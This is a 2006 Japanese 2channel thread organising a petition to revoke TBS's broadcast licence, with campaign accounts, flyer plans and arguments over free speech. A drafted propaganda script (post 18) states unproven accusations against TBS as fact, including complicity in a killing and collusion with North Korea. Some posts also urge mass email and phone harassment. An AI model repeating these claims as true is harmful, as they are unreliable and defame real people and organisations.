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【署名提出】TBS放送免許剥奪を求める署名OFF39

レス数が1000を超えています。これ以上書き込みはできません。
0001エージェント・７７４2006/08/30(水) 02:02:39ID:E0jKIEt7
右も左もあるものか！
放送免許という特権を振りかざし一般国民を見下す悪行三昧のＴＢＳ許すまじ！
いくらなんでも常習が過ぎる！悪質も極まる！反省が無さ過ぎる！
「仏の顔も三度」とは言うが、もう三度などとっくに過ぎている！
私達ネット有志はＴＢＳの放送免許剥奪を求める署名を大々的に集めて総務省に提出したいと思います！


ＴＢＳの放送免許剥奪を求める陳情署名受付フォーム（携帯からでもＯＫ）
http://www.powup.jp/sign/tbs.aspx
ＴＢＳの放送免許剥奪を求める陳情署名受付フォーム携帯版
http://www.powup.jp/sign/tbs_mobile/
ＴＢＳの放送免許停止を求める署名用紙（プリントアウト→記入→郵送用）
http://www.powup.jp/tbs/files/tbs_sign_v1.0.pdf
ＴＢＳ放送免許剥奪バナー（署名数リアルタイム表示機能付） を広めてください
http://www.powup.jp/sign/tbsbanner.aspx

ＴＢＳ問題資料集v1.3
http://www.powup.jp/tbs/files/report_v1.3.pdf
署名受付団体・管理責任者連絡先案内、カンパ受付口座案内、プライバシーステートメント
http://www.powup.jp/tbs/about.html

アンケート：報道の在り方を考える（予備調査）
http://www.sun-a.co.jp/004utvam/
アンケート：報道の在り方を考える（予備調査）集計ページ
http://www.sun-a.co.jp/004utvam/survey.htm

TBS放送免許剥奪OFFmixi支部
http://mixi.jp/view_community.pl?id=1160063
TBS放送免許剥奪を求める署名OFF　まとめサイト（テンプレあり）
http://free.45.kg/tbs/

前スレ
【署名提出】TBS放送免許剥奪を求める署名OFF38
http://off3.2ch.net/test/read.cgi/offmatrix/1156779273/
0002エージェント・７７４2006/08/30(水) 02:03:05ID:E0jKIEt7
30日時点での会計状況
収入 167,960円
支出 467,104円
過不足 -299,144円

会計書類
http://www.powup.jp/media/tbs/files/motocho.pdf
http://www.powup.jp/media/tbs/files/shiwake.pdf

手元にある領収書はほぼ全容を現しつつあります
だいたいこれから5-7万ぐらい出て行く感じです

カンパ口座についての情報
http://www.powup.jp/media/tbs/
※支援金の使途等について明記しておりますのでご確認してください。

会計方針について
・賛同いただける方のみにカンパをいただく
・適時 会計書類を更新
・9月に会計監査OFFを開いてそこで領収書その他と突合せ→承認

カンパいただいた方ありがとうございます
個別にお礼を申し上げるべきところですが、ご容赦ください
0003エージェント・７７４2006/08/30(水) 02:03:28ID:E0jKIEt7
★街頭演説ログ 各10MB程度
池袋東口五差路
http://www.powup.jp/media/tbs/files/tbs_gaisen_20060827_1.wmv
新宿(ログ喪失)
渋谷109横
http://www.powup.jp/media/tbs/files/tbs_gaisen_20060827_2.wmv
有楽町マリオン前（雑談・演説）
http://www.powup.jp/media/tbs/files/tbs_gaisen_20060827_3a.wmv
http://www.powup.jp/media/tbs/files/tbs_gaisen_20060827_3.wmv
秋葉原電気街口ファイナル
http://www.powup.jp/media/tbs/files/tbs_gaisen_20060827_4.wmv
0004エージェント・７７４2006/08/30(水) 02:03:34ID:HyxuaQBo
（・∀・）
0005エージェント・７７４2006/08/30(水) 02:03:44ID:E0jKIEt7
総務省へのご意見・ご提案の受付
ttp://www.soumu.go.jp/opinions/opinions.html
総務省関東総合通信局
ttp://www.kanto-bt.go.jp/ques/faq/attention/index.html
・総務省ご意見先
ttp://www.soumu.go.jp/menu_00/opinions/index.html
・首相官邸ご意見募集
ttp://www.kantei.go.jp/jp/forms/goiken.html
・安倍晋三連絡先
ttp://www.s-abe.or.jp/
・公益通報に関する受付及び相談」は公安調査庁法令遵守委員会事務局まで
ttp://www.moj.go.jp/KOUAN/SODAN/sodan.html

◇ご近所にポスティングしまくろう！
★ビラのポスティングはすぐ参加できる活動です　自分で印刷してもＯＫです
　何か手伝えることはと思ってるみなさん　是非協力お願いします

ＴＢＳの放送免許剥奪を求める陳情署名用紙
http://www.powup.jp/tbs/files/tbs_sign_v1.0.pdf
これをプリンタトアウトして必要事項を記入し、下段に書いてある郵送先へ送る。
ポスティング用セット

ＴＢＳ放送免許剥奪署名ビラ（Ａ４分割版カラー）
http://www.powup.jp/media/tbs/files/TBS_A4_4P_v1.0.pdf
８月10日より、上記ビラのＡ３版を希望者に郵送します。希望者は[email protected]へメール下さい。
上記ビラを自宅プリントアウトしコピーしてポスティングしても可。

プリンターの無い人はネットプリントで取り出すことができます
（このシステムが知りたい人は http://www.printing.ne.jp/ ）
セブンイレブンのコピー複合機でタッチパネルから「ネットプリント」を選択、
下記の予約番号を入力すれば
誰でも一通３０円（A4白黒の場合）ですぐ簡単にプリントアウト出来ます。
（判らない時は「ネットプリント」で店員に聞いて下さい）

【全国】TBS告発ビラをポスティングするOFF【個人】
http://off3.2ch.net/test/read.cgi/offmatrix/1154993958/
0006エージェント・７７４2006/08/30(水) 02:03:58ID:E0jKIEt7
555 ：エージェント・７７４：2006/08/23(水) 22:54:48 ID:Al96cSeP

1)個人で出来る活動
メール凸
電話凸
ポスティング（人権法ＯＦＦの各地のスレに協力してもらえないか？）
【全国】TBS告発ビラをポスティングするOFF【個人】
http://off3.2ch.net/test/read.cgi/offmatrix/1154993958/l50

2)現在進行形の活動
署名
ビラ配り
街宣
デモ
シンポジウム？

3)未検討の活動案
Flash作成
公開質問状
有力議員へのアプローチ
マスコミへの働きかけ
サイトつくって日々監視
路上署名活動
既存団体との共闘
ポケットティッシュを作る

65 ：エージェント・７７４：2006/08/25(金) 04:46:56 ID:65rYk1B0
参考までにポケットティッシュ関連のサイトです。
勝手にググりました。

http://www.star-click.ne.jp/e-poket/

http://www.pamphnet.com/tissue/

http://www.pt-honpo.com/

606 ：エージェント・７７４：2006/08/23(水) 23:21:19 ID:zbDSsioy
すでにポケティ100個ほど都内＆千葉の駅のトイレにうっかり忘れてきた俺がきましたよｗｗ
のまねこ祭の余りのポケティがあと2200個ぐらいあるｗｗｗｗ

624 ：エージェント・７７４：2006/08/23(水) 23:35:23 ID:zbDSsioy
確か3000個発注して2色だったから4万ぐらいだったかな・・・
もっと安い店もあるかもしれないけど納期が一番早い店に頼んだからちょっと高めかも・・

652 ：エージェント・７７４：2006/08/23(水) 23:49:36 ID:zbDSsioy
消費者金融とかがガンガン配ってるのはものすごい大量発注してるから。
ポケティ製作会社のサイトの値段表だと
3000個だと1個あたり9.2円
30000個だと1個あたり5.4円
0007エージェント・７７４2006/08/30(水) 02:04:06ID:3d6HPHfG
>>1
乙です。
0008エージェント・７７４2006/08/30(水) 02:04:09ID:E0jKIEt7
47 481 ◆D4HS/3cfyY sage New! 2006/08/27(日) 22:38:25 ID:QNNDhRSl ≡
ビラ配りOFFの会計報告です
私481は　8/5, 8/13, 8/26, 8/27 の計4回のOFFの現場責任者をやりました。
現場でカンパを頂き、これはイラネ氏とは別に管理を行っていました。
本日で現場カンパ分の会計報告をさせていただきます。
（これまで二回途中報告を行っていましたが、今回が最終報告になります）

収入（カンパ合計金額）　22,000円
支出　33,638円
過不足　-11,638円

支出明細
印刷代（500部コピー）　3938円
道路使用許可申請費用（8/5）　2100円
印刷代（8/5追加コピー300部）　3000円
道路使用許可申請費用(8/13)　2100円
横断幕費用　14400円
プラカード用コピー代（ドクロ支払分）　1500円
プラカード用コピー代（481支払分）　4500円
道路使用許可申請費用(8/26,27)　2100円

なお
パペット氏　2,100円
ドクロ氏　1,500円
に自腹して頂き、残りは481自腹となっております。
もちろんここに掲載されない見えない負担が
参加者にかかっていることは言うまでもありません。
(ご負担いただいたみなさま本当にすみません)
0009エージェント・７７４2006/08/30(水) 02:04:41ID:E0jKIEt7
　 ＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿
　　　||
　　　||　2chの鉄則　【　荒らしは無視・放置　】　しましょう。
　　　||　
　　　||　★ 荒らしは放置されるのが一番苦手です。
　　　||　　　→ ウザイと思ったらそのまま放置！
　　　||　▲ 放置された荒らしは煽りや自作自演であなたのレスを誘います。
　　　||　　　→ 釣られてレスしたらその時点であなたの負け！
　　　||　■ 反撃は荒らしの滋養にして栄養であり最も喜ぶことです。
　　　||　　　→ 荒らしにはエサを与えないで下さい！
　　　||　☆枯死するまで孤独に暴れさせておくのが一番です。
　　　||　 　 　 　　 　 　 ∧ ∧ 　 。
　　　||　　　　　　　　　　( ,,ﾟДﾟ)／　ｼﾞｭｳﾖｳ!!　　　　　　Ｅ[]ヨ 　
　　　￣￣￣￣￣￣￣ﾉ　　つ￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
　 　 　 　 　 　 　 　 / ￣￣￣ ./| ＿＿＿＿＿＿＿＿＿＿＿＿＿
　 　 　 　 　 　 　 　 |￣￣￣￣| | |
￣￣￣￣￣￣￣￣|＿＿＿＿|/｜
　　　　　　　　　　　　 　 　 　 　 　 ￣￣￣￣￣￣￣￣￣￣￣￣￣
　　　　　　＼　　　　は～～～～い　　　　　　／
　　　　∧ ∧　　　　∧,,∧　　　∧ ∧
　　　 (・,,　∧▲　　ﾐ　 ∧ ∧　(　　∧ ∧
　　～（＿(　　∧ ∧＿(　∧ ∧＿ﾐ･д･∧ ∧
　　　　＠（＿(,,・∀・)＠ (　　 *)～ミ＿ ( 　　,,)
　　　　　　＠（＿__ﾉ　～（＿__ﾉ　 　 ～（＿__ﾉ

2ch専用ブラウザ(無料)には、荒らしの「ＩＤ：」や荒らしが多用する「ＡＡ・コピペ」の文字列を、
ＮＧワード・ＩＤとして登録して、簡単に見えなくする機能があるので便利ですよ。
　Jane Style　 http://janestyle.s11.xrea.com/
　ギコナビ　　　http://gikonavi.sourceforge.jp/
　Live2ch　　　 http://www8.plala.or.jp/uro/live2ch/
　ホットゾヌ２　 http://hp.vector.co.jp/authors/VA036533/
0010エージェント・７７４2006/08/30(水) 02:04:51ID:HJslF+OA
金のかかるオフはとりあえずおいといて
金のかからん運動にシフトすれば？
0011エージェント・７７４2006/08/30(水) 02:05:40ID:E0jKIEt7
>>10
そんな感じに流れてますし
それが正解と思います

大イベントは大体終わったし
0012エージェント・７７４2006/08/30(水) 02:07:22ID:E0jKIEt7
長期的にメディアを監視する方向性を強化できれば
いいんじゃないでしょうか
0013エージェント・７７４2006/08/30(水) 02:08:40ID:dJjerJsp
ＴＢＳの免許剥奪運動をやってる方々に質問があります。

総務省がＴＢＳの放送免許を取り消し、あるいは停止することができる法的根拠を知りたいです。
なんという法律の第何条の何々という規定に基づき処分ができるという形式で教えていただけないでしょうか。

俺はもう寝ますんで、朝までにお願いします。
0014エージェント・７７４2006/08/30(水) 02:10:45ID:tx+vyckS
次やること一覧


監査OFF
ビラまき、まとめサイト完成、FLASH作成
GIFアニメ作成、ティッシュ配り
署名追加提出OFF
0015エージェント・７７４2006/08/30(水) 02:11:09ID:E0jKIEt7
>>13
剥奪とか停止とかの明示的な規定はないと思いますよ

ただ放送法に違反したんだったら
総務省の裁量で免許更新NOは十分ありえるね

てか許認可なのでやろうとおもえば何でもできるんじゃね？
やるといろいろウザイんで厳しいとは思いますが
そのために国民世論で後押しする必要がある
0016エージェント・７７４2006/08/30(水) 02:11:12ID:xjGZle6x
>>12
禿胴

>>13
つ【放送法】
0017エージェント・７７４2006/08/30(水) 02:11:33ID:6EOEQYan
>>13
カレーにヌルーだよそんな愚問　

ということで漏れが答えてあげるよ。　答え　狂言でした。　以上
0018エージェント・７７４2006/08/30(水) 02:14:21ID:tx+vyckS
ご意見募集中！ 【Flash案】

最初に
「日々流される情報　わたし達は知らずに多くの情報に晒され意識・無意識に関わらず多くの選択をしています。
　もし今あなたの周りの情報が嘘の汚染してるとしたら、あなたはどうします？
　わたしたちは正しい情報を求めています。」
　　　　　　　　　　　　　　　　　～報道の在り方を考えるインターネット有志の会～


＊“”内はテロップ

Aパート：導入部
“捏造、印象操作、歪曲、偏向”
“貴方はどれだけTBSの嘘を知っていますか？”
↓
Bパート：TBSの問題報道の列挙。問題部分の色を変えたり、効果音使ったり強調して下さい。
TBS“亀田の試合、疑惑の判定”→事実“6万件もの抗議を完全無視”
TBS“健康情報番組で紹介したダイエット法”→事実“中毒者多数、2000人以上に被害”
TBS“石原都知事「日韓併合の歴史を100%正当化するつもりだ」→事実「日韓併合の歴史を100%正当化するつもりはない」
TBS“ハイド議員「靖国に行くべきではないと強く思っている」→事実「靖国に行くべきでないと（強くは）思わない」
TBS“東条英機氏遺族「遺族としては不満もある」→事実「遺族としては不満もあるが、よく参拝してくれた」
TBS“旧石器捏造事件、「つくる会」に結びつける”→事実“全く無関係”
TBS“神栖町ヒ素汚染問題、日本軍の毒ガスが原因と断定的→事実“実際には民間企業の不法投棄”
TBS“731部隊の特集で安部官房長官の写真が写る”→事実“安部氏のイメージダウンの印象操作？”
↓
Cパート：問題喚起
“総務省に注意を受けても問題を繰り返すTBS”
“TBSには何か意図があっての事なのでしょうか？”
“もしあるとしたら、それにはどんな意図が？”
↓
Dパート:TBSの起こした事件、疑惑。おどろおどろしい感じでお願いします。
“オウム真理教への情報リーク”
“坂本一家惨殺の引き金”
“麻原の顔をサブリミナル手法で放映”
“オウム真理教幹部村井氏刺殺事件に関与疑惑”
“北朝鮮との共同謀議発覚、杉嶋氏の身代金要求に加担”
“杉嶋氏「北朝鮮側の情報操作の受け皿がＴＢＳ」”

↓
Eパート：署名協力のお願い
“私達は日本の為の公正で嘘のない報道を求めています”
“報道に真実を取り戻す為、貴方のお力をお貸し下さい”
“ＴＢＳの放送免許剥奪を求める陳情署名受付 http://www.powup.jp/sign/tbs.aspx”
0019エージェント・７７４2006/08/30(水) 02:16:10ID:OfH4ONH5

★今北産業用テンプレ：ピックル（ピットクルー）とは？


【ネット】亀田擁護カキコミは 「プロ工作員」の仕業？…TBS「よくわかりません」★12
http://news19.2ch.net/test/read.cgi/newsplus/1155383189/l50
【ネット】ネット「世論操作」、「工作員」暗躍してカキコミ…請け負う会社の正体★６
http://news19.2ch.net/test/read.cgi/newsplus/1155382839/l50
【ネット世論操作】亀田選手の協栄ジム掲示板や某オークションサイトも？　書き込み不可なのに、なぜか賞賛コメントだけ毎日追加★３
http://news19.2ch.net/test/read.cgi/newsplus/1155760177/l50
【ボクシング】亀田興毅　協栄ジムＨＰの怪 (ゲンダイネット)
http://news18.2ch.net/test/read.cgi/mnewsplus/1155863225/l50
【亀田王者】書き込み不可なのに何故か賞賛コメントだけ毎日追加　協栄ジム掲示板　疑惑指摘後に閉鎖
http://news19.2ch.net/test/read.cgi/newsplus/1156233876/l50

655 ：名無しさん＠６周年：2006/08/09(水) 23:54:31 ID:j4LKkGqI0

ｽｹﾞｰｰｰｰｰｰｰｰｰ！携帯何台も並べて工作活動するピックル社員
二人にPC２台と携帯９台ｗｗｗｗｗｗｗｗｗｗ

http://froma.yahoo.co.jp/s/rqmt/img_ext/00911688.jpg
自演しまくりﾜﾛﾀw

大手コミュニティーサイトでの掲示板監視業務
【体制】常時3名（24時間）

大手ポータルサイトの違法投稿を監視・削除
【監視体制】常時30名（24時間）
日本有数の大手ポータルサイトに対し、イメージアップを最大の目的とした有人監視を実施。750万件／月に及ぶ投稿のなかから、違法な投稿やユーザを不快にする投稿を検閲しています。
監視作業は現在も継続中で、月平均約20万件の問題投稿を検閲・削除することにより、コミュニティの健全化を下支えしています。
お客様が発行するニュースリリースなどにも監視情報が随時掲載され、利用者の安心を促すことでサイト規模拡大にも貢献しています
0020エージェント・７７４2006/08/30(水) 02:17:25ID:r4UxPb8h
>>14
まとめサイトはドクロ氏が作ってたけど
今は完成させるのはきつそーだねぇ・・。
サイト作るの上手い人いればいいんだけど。
0021エージェント・７７４2006/08/30(水) 02:23:13ID:oVkIbMpv
亀田の試合は署名と何か関係があるのですか？
0022エージェント・７７４2006/08/30(水) 02:26:49ID:+UzA0wxg
良い所を付くね。
世間の動きをまあオフ運営が、間接的に利用したのだ。
0023エージェント・７７４2006/08/30(水) 02:26:53ID:zMs811VF
空き店舗に不良が忍び込んで好き勝手やってるようなスレになったな。
0024人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 02:28:01ID:E0jKIEt7
>>23
そうでもないよ
0025グローザー監督 ◆A.fcsPVo8c 2006/08/30(水) 02:34:14ID:fSGx+mG2
>>24
イラネ殿。至急人権擁護法スレに合流されたし。
情勢一気に悪化。
0026エージェント・７７４2006/08/30(水) 02:34:15ID:zMs811VF
>>24
店番が減っているような希ガス
0027人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 02:35:32ID:E0jKIEt7
>>26
まあねｗ
0028エージェント・７７４2006/08/30(水) 02:36:28ID:HJslF+OA
>>27
あんたの立ち位置は何？
主催者？
0029エージェント・７７４2006/08/30(水) 02:39:28ID:dAKNTyUE
>>28
職業右翼の勧誘員で集金係さんじゃないの？
0030エージェント・７７４2006/08/30(水) 02:40:58ID:GO1MqGiV
>>25を見ると

グローザー監督 ◆A.fcsPVo8cのパシリにしか見えませんが
0031エージェント・７７４2006/08/30(水) 02:41:57ID:+UzA0wxg
グローザ監督の役割は工場長みたいなもん
0032エージェント・７７４2006/08/30(水) 02:47:39ID:GO1MqGiV
>>31
暗号で言われてもわかりましぇん
0033エージェント・７７４2006/08/30(水) 02:51:26ID:oVkIbMpv
>>22
印象操作に反対と言いながら、亀田の試合を利用して右翼的な主張をぼやかせ、
言論弾圧に反対と言いながら、総務省に言論弾圧を依頼している。
この運動はどういう魂胆なのか。
0034332006/08/30(水) 02:53:35ID:oVkIbMpv
アンカー要らなかった。>>22ｽﾏｿ
0035エージェント・７７４2006/08/30(水) 02:54:02ID:4pji+5KH?2BP(241)
>>25
こいつ黒幕とか言われてるけど何なの？
0036エージェント・７７４2006/08/30(水) 02:58:11ID:r4UxPb8h
とりあえず33のいう右翼的というのはどういう意味か教えてくれ。

>言論弾圧に反対と言いながら、総務省に言論弾圧を依頼している。
放送法を守って。
0037エージェント・７７４2006/08/30(水) 03:02:26ID:+UzA0wxg
ここにも張られてる、ウヨ有利なコピペとか作ってる所じゃないの。
0038エージェント・７７４2006/08/30(水) 03:04:27ID:+UzA0wxg
>>32
0039エージェント・７７４2006/08/30(水) 03:05:23ID:GO1MqGiV
総務省はＴＢＳ擁護の方向で動いてるから無理だろうな

それに放送法ではオウム事件は別としても、安倍ちゃん画像程度じゃな

テレ朝の風説のルルゴールドのほうがよっぽど醜かったのにスルーされたからな


とつぶやきのてすと
0040人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 03:05:53ID:E0jKIEt7
>>39
まあ世論次第でしょうね
0041エージェント・７７４2006/08/30(水) 03:07:56ID:tx+vyckS
>>40
フラシュ案>>18どう思います？
0042人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 03:09:09ID:E0jKIEt7
>>41
俺はいいと思うYO
マカ氏のバナーの延長線のイメージで
0043エージェント・７７４2006/08/30(水) 03:09:54ID:tx+vyckS
>>42
文字のみ　音無しでOKします？
0044エージェント・７７４2006/08/30(水) 03:09:55ID:uHVk/7gm
ねらーよ、立ち上がれ。
奴らの手から地球を守るのだ。

■駅前マンホールにゴキジェットを噴射するOFF■
http://off3.2ch.net/test/read.cgi/offmatrix/1123603699/

動画：阿鼻叫喚
http://219.103.130.74/~age/eki.wmv

黒くて早くてかっこいい！？
スタミナＭＡＸ！スピードＭＡＸ！！

最凶のムシキングどもを退治しろ！！



ゴキジェットじゃなくても、安い殺虫剤でＯＫ。
コピペしてあちこちにみんなではって。
0045エージェント・７７４2006/08/30(水) 03:10:19ID:dAKNTyUE
>>40
愚かな振る舞いでこのスレを2chの腐ったみかんにしちゃって、2chの世論すら味方に
付けられないような現状じゃ、世論を味方にするなど当然望むべくもありませんよね。

まぁ運動は成功wしてるようですし、反響だけは上々ですよねw
0046エージェント・７７４2006/08/30(水) 03:10:23ID:HJslF+OA
>>42
んであんたはこのオフの主催者？
0047エージェント・７７４2006/08/30(水) 03:10:45ID:GO1MqGiV
>>40
突っ込もうかと思ったけどその純粋さに免じてやめたｗ
0048エージェント・７７４2006/08/30(水) 03:15:51ID:HJslF+OA
やっぱり都合の悪いことはスルーかｗ
0049人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 03:15:52ID:E0jKIEt7
>>43
その辺はよくﾜｶﾝﾈ
ｽﾏｿ
0050エージェント・７７４2006/08/30(水) 03:17:37ID:Qv72E3H6?2BP(7)
>>49
大分疲れてるな
0051エージェント・７７４2006/08/30(水) 03:18:35ID:tx+vyckS
>>49
失礼、聞き方が悪かったです。さっき話してて映像は無理っぽいけど音だけでもという意見もあったので
イラネ氏の個人的な意見も聞きたかっただけです。
音なしでいいのなら、また明日にでも簡単にこここで話して決めようかなと。
0052エージェント・７７４2006/08/30(水) 03:21:14ID:9AoBdben
読んどけ

http://news20.2ch.net/test/read.cgi/news/1156862062/
0053エージェント・７７４2006/08/30(水) 03:33:21ID:r5uB6CTo
テレビ自由化論
http://meinesache.seesaa.net/article/22070687.html

前スレに書いたけど、放送免許取り上げというのは向かうべき方向とは逆の方向だ
進むべきは自由化と、既得権益の無力化だ
0054人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 03:35:34ID:E0jKIEt7
>>53
その作戦もありだよねー
同時多発ゲリラが最強ｗ
0055エージェント・７７４2006/08/30(水) 03:41:50ID:r5uB6CTo
結局このスレの運動は、官僚の支配と既得権益を強めるだけの害悪の塊の運動だ。
もし電波が自由化されれば、インターネットのように多種多様な放送局が生まれるだろう。
2ちゃんでも放送局を持てるかもしれない
0056エージェント・７７４2006/08/30(水) 03:43:28ID:r5uB6CTo
戦後何十年もいくつかのＴＶ局が寡占をしき、新規参入をこばんできた
そろそろ自由化の波に晒されても良い頃だろう
0057エージェント・７７４2006/08/30(水) 03:45:58ID:tx+vyckS
>>55
どっちもやればいいだろ
何度も放送法犯すＴＢＳに責任求めるのも１つの方法
視野狭いんじゃね？
0058人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 03:46:17ID:E0jKIEt7
もちろんある程度の世論に立脚し
合法的な活動が必須条件なのは言わずもがな
0059エージェント・７７４2006/08/30(水) 03:53:17ID:r5uB6CTo
現在の免許制による電波行政は、20 世紀初頭にラジオ局を規制するためにできた制度を踏襲しており、インターネット時代に適合していない。
無線インターネットやソフトウェア無線などの次世代の無線技術は、周波数を広く共有することによって、電波が「稀少な資源」だという免許制の前提をくつがえした。
免許の代わりに売買可能な「電波利用権」を配分し、伝送をIP に統一してサービスは全面的に自由化すればいい。
0060エージェント・７７４2006/08/30(水) 03:54:39ID:tx+vyckS
>>59
それで活動してくれ。応援するよ。
0061エージェント・７７４2006/08/30(水) 03:54:47ID:dAKNTyUE
>>58
そのためには多くの一般国民の賛同を得なければね。
今みたいに職業右翼の活動家引っ張り込んでるようじゃ駄目だよ。

たとえ同じ主張していたとしても、保守右派の政治家が語るのと、職業右翼の活動家が語るのでは、
聴衆の反応に雲泥の差がある。
職業右翼の連中は、保守右派の政治家が主流になってきたのを見て、自分たちを保守政治家と
同一視して世論を味方につけることが出来ると勘違いするかもしれないけども、一般国民は決して
それらを同じとは見ない。
0062エージェント・７７４2006/08/30(水) 03:55:18ID:GO1MqGiV
>>54
エロリスト宣言ｲｸﾅｲ!
0063エージェント・７７４2006/08/30(水) 03:57:10ID:ETZ/eETQ
これも抗議リスト追加じゃね？各自確認ヨロ


897 名前： マンセー名無しさん [sage] 投稿日： 2006/08/29(火) 06:57:50 ID:n+77okbe
さっき朝ズバで竹島関連のニュース ( 韓国が護衛艦配備 ) をやっていたのだが
竹島がある海域の名称を「トンヘ」と画面上に表示していた。

TBS は本当にどこの放送局なんだろうか。

916 名前： マンセー名無しさん 投稿日： 2006/08/30(水) 00:45:15 ID:q1ak+NxQ
>>897
あげました

http://www4.axfc.net/uploader/15/so/N15_7654.zip.html
Keyword : tbs
0064エージェント・７７４2006/08/30(水) 03:59:01ID:r5uB6CTo
デジタル地上波放送のコストは携帯利用者が負担？
http://plusd.itmedia.co.jp/mobile/0208/01/n_anaana.html
0065エージェント・７７４2006/08/30(水) 04:00:31ID:3d6HPHfG
>>61
あなた"職業右翼"という言葉にこだわりますね。
0066エージェント・７７４2006/08/30(水) 04:01:17ID:ifFuCgoL
>>61
フツーの人間がやってる活動だよ。最初から信用なんてないよ。
人の思想が右か左かなんてどうやって判断するの？署名もそうだけど参加するのは止められない。
活動のスタンスを維持できていれば理解につながるだろ。それがわからないほどみんな馬鹿じゃないよ。
それに疑問あるならおまえが署名活動起こしたっていいんだよ。
活動の拡散は別にマイナスにはならない。
0067エージェント・７７４2006/08/30(水) 04:02:04ID:GO1MqGiV
(ﾉ∀｀)ｱﾁｬｰ

■□■人権擁護法案反対VIP総司令部その184■□■
http://ex16.2ch.net/test/read.cgi/news4vip/1156586607/

>437 グローザー監督 ◆11UZlYqzY. age New! 2006/08/30(水) 03:20:10.51 ID:UKxULaXm0
>>434
>そっちの様子がどうなっているかも気になるな。
>まさかとは思うが、ＴＢＳ関連のゴタゴタを見て連中が動いたということはないか？
>早めの復帰を要請してくれ。
>
>去っていったコテ連にも声をかけて戻ってきてもらおう。
>とにかく、核を立て直さんとどうにもならん。


>441 人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc New! 2006/08/30(水) 03:26:10.29 ID:bT4crIuO0
>>437
>あっちの方はそれなりにカタつけるからご安心
>まあ工作ポイントを知られてしまったのはあるが
>それは俺にできる最大限のことをして潰すから


>それは　俺　に　で　き　る　最　大　限　の　こ　と　を　し　て　潰　す　か　ら

( ﾟ∀ﾟ) ｱﾊﾊﾊﾊﾉヽﾉヽﾉ ＼ / ＼ / ＼

0068人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 04:02:28ID:E0jKIEt7
>>63
トンへ・28日って何じゃそりゃ・・・
国でもないし地名でもない

太平洋・28日とか日本海・28日とかと同じ違和感

>>61
LR遵守で全く問題ありませんよー
個人的にはセクト分裂した市民運動を反面教師としてがんばりますー
0069人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 04:03:13ID:E0jKIEt7
>>67
見つけるの時間かかったね(・∀・)ﾆﾔﾆﾔ
0070エージェント・７７４2006/08/30(水) 04:04:37ID:GO1MqGiV
>>68
見つけるの時間かかったね(・∀・)ﾆﾔﾆﾔ

0071エージェント・７７４2006/08/30(水) 04:05:27ID:dAKNTyUE
>>65
普通、右翼団体には893の影がみえるのは広く知られているから

>>68
トンヘは東海の韓国語読み。つまり日本海のこと。
0072エージェント・７７４2006/08/30(水) 04:06:32ID:1D3f6bg8
2ch以外の人達を巻き込んでるという自覚はあるのかねぇ。

署名に協力した人達(私も含めて)はデモに
右翼政治団体関係者が参加するとは思ってなかったし、
主催者の中に別のオフでカンパを私的流用した人物が
いるということを知らされていなかった。

これ以上活動を続ける前に、
上記二点について外部に説明するべきだと思うんだが、どうよ？

その辺りの説明も無しに署名やカンパを募り続けるあんたらってのは、
言葉が悪いが“狂ってる”と思いますよ。


何でも「自己責任」で片付けてしまうような人間に
誠意を期待しても無駄かもしれんがね。
0073エージェント・７７４2006/08/30(水) 04:06:37ID:dAKNTyUE
>>68
っと何か勘違いしてレスしてしまった。すまない。
0074人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 04:07:24ID:E0jKIEt7
>>71
だからおかしいんだよ

日本海・28日とかおかしいだろ？普通見ない
しかも日本海でなくて東海だ
ありえねーとは思わないか？
0075エージェント・７７４2006/08/30(水) 04:08:14ID:6EOEQYan
>>69




>「仏の顔も三度」とは言うが、もう三度などとっくに過ぎている！


0076人権擁護法(ﾟ⊿ﾟ)ｲﾗﾈ ◆PowUpkPJVc 2006/08/30(水) 04:10:07ID:E0jKIEt7
>>72
「質問に答えていない」
　　→自分好みの回答が得られていないという意味

↓こんなの思い出したｗ

「政府は何もやっていない」
　　→自分たち好みの行動を取っていないという意味
「議論が尽くされていない」
　　→自分たち好みの結論が出ていないという意味
「国民の合意が得られていない」
　　→自分たちの意見が採用されていないという意味
「内外に様々な波紋を呼んでいる」
　　→自分たちとその仲間が騒いでいるという意味
「皆さんにはもっと真剣に考えてほしい」
　　→アンケートで自分達に不利な結果が出てしまいましたという意味
「心無い中傷」
　　→自分たちに対する批判という意味
「本当の解決策を求める」
　　→何も具体策はないがとにかく政府等のやり方はダメだという意味
「異論が噴出している」
　　→自分たちが反対しているという意味
「冷静になる、落ち着く」
　　→自分たちの意見に賛成するという意味
0077エージェント・７７４2006/08/30(水) 04:10:13ID:3d6HPHfG
>>71
もう少し分かりやすく。
0078エージェント・７７４2006/08/30(水) 04:11:12ID:ifFuCgoL
>>72
無駄と思ったならもう書くなｗ
OFFスレで主旨に沿って活動してるわけでもないのに粘着してる異常性に驚くよ。
0079エージェント・７７４2006/08/30(水) 04:11:16ID:9uGFEjRi
どう考えてもこのスレ住民と14000人署名は政府による言論弾圧を助長してます。

・このスレ住民が圧力　→　総務省と自民党が圧力　→　TBSの番組内容を指導、放送免許の剥奪


番組内容の誤報に対する懲罰はあるべきでしょうが、偏向報道は違うでしょう。
このスレ住民と14000人署名の人達はどさくさまぎれに言論弾圧しようとしています。
0080エージェント・７７４2006/08/30(水) 04:12:39ID:ifFuCgoL
>>79
法治国家だよ。捏造を言論の自由だなんて認めてないよ。
0081エージェント・７７４2006/08/30(水) 04:12:51ID:dAKNTyUE
>>74
もちろんおかしい。日本海はあくまで日本海だ。
